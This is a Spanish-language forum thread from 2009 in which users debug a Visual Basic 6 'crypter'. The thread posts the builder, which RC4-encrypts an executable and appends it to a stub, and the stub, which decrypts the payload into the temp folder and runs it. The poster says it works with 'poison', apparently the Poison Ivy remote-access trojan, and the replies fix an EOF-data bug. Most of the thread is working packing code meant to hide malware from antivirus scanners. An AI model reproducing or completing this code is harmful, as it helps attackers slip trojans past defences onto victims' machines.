Página 1 de 1
[soucionado] EOF data rompe el server
Publicado: 14 Jul 2009, 00:52
por alexkof
es ke cuando pongo el eof data cuando encripto el server lo deja inservible porfa ayudaaa
Código: Seleccionar todo
Private Sub cmdBrowse_Click()
ComDlg.ShowOpen
ComDlg.Filter = "Executable Files (*.exe) | *.exe"
txtFile.Text = ComDlg.FileName
If Not ComDlg.FileName = vbNullString Then
txtFile.Text = ComDlg.FileName
MsgBox "Archivo cargado correctamente!"
End If
End Sub
Private Sub cmdCrypt_Click()
Dim File As String
Dim Stub As String
Dim TheEOF As String
If Check1.Value = 1 Then
TheEOF = ReadEOFData(textFile.Text)
End If
Open txtFile.Text For Binary As #1
File = Space(LOF(1))
Get #1, , File
Close
Open App.Path & "\stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
ComDlg.DialogTitle = "Selecione la ruta donde Guardar Servidor Encriptado"
ComDlg.Filter = "Executable Files (*.exe) | *.exe"
ComDlg.ShowSave
Open ComDlg.FileName For Binary As #1
Put #1, , Stub & "##$$##"
Put #1, , RC4(File, "pass")
Close #1
If Check1.Value = 1 Then
Call WriteEOFData(ComDlg.FileName, TheEOF)
End If
MsgBox "Encryptacion realizada con exito!!", vbInformation, Me.Caption
End Sub
Re: Problemas eof data
Publicado: 14 Jul 2009, 01:22
por demonio666vip
alexkof escribió:
If Check1.Value = 1 Then
Call WriteEOFData(App.Path & "\ComDlg.FileName", Read)
End If
Creo que va asi:
Código: Seleccionar todo
If Check1.Value = 1 Then
Call WriteEOFDdata(ComDlg.FileName, Read)
end if
Re: Problemas eof data
Publicado: 14 Jul 2009, 09:23
por LuOpP
Exacto, es como dijo Demonio, el ComDlg.FileName ya es el path completo del archivo no solo el nombre final, el app.path se utilixa cuando se keire aceder algun archivo k esta en la misma direccion k el programa por ejemplo imagiante k no das la opcion de elejir el archivo de salida y lo crea como "crypted" pos en ese caso como sabes k el nombre va ser ese y donde va estar pondrias asi:
Call WriteEOFData(App.Path & "\Crypted.exe", Read) ' el "&" lo k hace es concadenar es decir une la ruta donde esta el programa con \Crypted.exe k seria el archivo al k ponerle el eof. Ya ves cuantas cosas se ahorra uno con el ComDlg.FileName
Re: Problemas eof data
Publicado: 15 Jul 2009, 07:29
por alexkof
nada probe asi y nada y este es el form del stub
Código: Seleccionar todo
Private Sub Form_Load()
Dim File As String
Dim Out As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
File = Space(LOF(1))
Get #1, , File
Close #1
Out = Split(File, "##$$##"(1))
Open Environ("tmp") & "\tmp.exe" For Binary As #1
Put #1, , RC4(Out, "pass")
Close #1
Shell Environ("tmp") & "\tmp.exe"
End
End Sub
Código: Seleccionar todo
Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
On Error Resume Next
Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
If Len(Password) = 0 Then
Exit Function
End If
If Len(Expression) = 0 Then
Exit Function
End If
If Len(Password) > 256 Then
Key() = StrConv(Left$(Password, 256), vbFromUnicode)
Else
Key() = StrConv(Password, vbFromUnicode)
End If
For X = 0 To 255
RB(X) = X
Next X
X = 0
Y = 0
Z = 0
For X = 0 To 255
Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
Temp = RB(X)
RB(X) = RB(Y)
RB(Y) = Temp
Next X
X = 0
Y = 0
Z = 0
ByteArray() = StrConv(Expression, vbFromUnicode)
For X = 0 To Len(Expression)
Y = (Y + 1) Mod 256
Z = (Z + RB(Y)) Mod 256
Temp = RB(Y)
RB(Y) = RB(Z)
RB(Z) = Temp
ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
Next X
RC4 = StrConv(ByteArray, vbUnicode)
End Function
el crypter funciona con el poison normalmente pero cuando le doy activo la casilla del Check1 y se va por alli sale este mensaje Foto
Re: Problemas eof data
Publicado: 16 Jul 2009, 00:47
por alexkof
please ayudaaaa
Re: Problemas eof data
Publicado: 16 Jul 2009, 03:03
por demonio666vip
Código: Seleccionar todo
Private Sub cmdBrowse_Click()
ComDlg.ShowOpen
ComDlg.Filter = "Executable Files (*.exe) | *.exe"
txtFile.Text = ComDlg.FileName
If Not ComDlg.FileName = vbNullString Then
txtFile.Text = ComDlg.FileName
MsgBox "Archivo cargado correctamente!"
End If
End Sub
Private Sub cmdCrypt_Click()
Dim File As String
Dim Stub As String
Dim TheEOF As String
If Check1.Value = 1 Then
TheEOF = ReadEOFData(ComDlg.FileName) <<<<<<< Ahi estaba tu error :P
End If
Open txtFile.Text For Binary As #1
File = Space(LOF(1))
Get #1, , File
Close
Open App.Path & "\stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
ComDlg.DialogTitle = "Selecione la ruta donde Guardar Servidor Encriptado"
ComDlg.Filter = "Executable Files (*.exe) | *.exe"
ComDlg.ShowSave
Open ComDlg.FileName For Binary As #1
Put #1, , Stub & "##$$##"
Put #1, , RC4(File, "pass")
Close #1
If Check1.Value = 1 Then
Call WriteEOFData(ComDlg.FileName, TheEOF)
End If
MsgBox "Encryptacion realizada con exito!!", vbInformation, Me.Caption
End Sub
[/size]
Ahi esta tu error ya corregido...
Suerte!
Re: Problemas eof data
Publicado: 16 Jul 2009, 03:16
por K-0Z
si no mal recuerdo, en los cripters scan-time no hay necesidad de que tenga la opcion de eof data, salu2
Re: Problemas eof data
Publicado: 16 Jul 2009, 08:37
por alexkof
demonio666vip escribió:
Código: Seleccionar todo
Private Sub cmdBrowse_Click()
ComDlg.ShowOpen
ComDlg.Filter = "Executable Files (*.exe) | *.exe"
txtFile.Text = ComDlg.FileName
If Not ComDlg.FileName = vbNullString Then
txtFile.Text = ComDlg.FileName
MsgBox "Archivo cargado correctamente!"
End If
End Sub
Private Sub cmdCrypt_Click()
Dim File As String
Dim Stub As String
Dim TheEOF As String
If Check1.Value = 1 Then
TheEOF = ReadEOFData(ComDlg.FileName) <<<<<<< Ahi estaba tu error :P
End If
Open txtFile.Text For Binary As #1
File = Space(LOF(1))
Get #1, , File
Close
Open App.Path & "\stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
ComDlg.DialogTitle = "Selecione la ruta donde Guardar Servidor Encriptado"
ComDlg.Filter = "Executable Files (*.exe) | *.exe"
ComDlg.ShowSave
Open ComDlg.FileName For Binary As #1
Put #1, , Stub & "##$$##"
Put #1, , RC4(File, "pass")
Close #1
If Check1.Value = 1 Then
Call WriteEOFData(ComDlg.FileName, TheEOF)
End If
MsgBox "Encryptacion realizada con exito!!", vbInformation, Me.Caption
End Sub
[/size]
Ahi esta tu error ya corregido...
Suerte!
nada demonio kito el error del mensaje en vb, pero no agarra por el EofData ,, :S no entiendo porqe ??
porfa si puedes analizar un pokitico el codigo del stub y decirme si esta mal algo (creo ke es x el stub) te lo agradeceria man )
gracias por las respuestas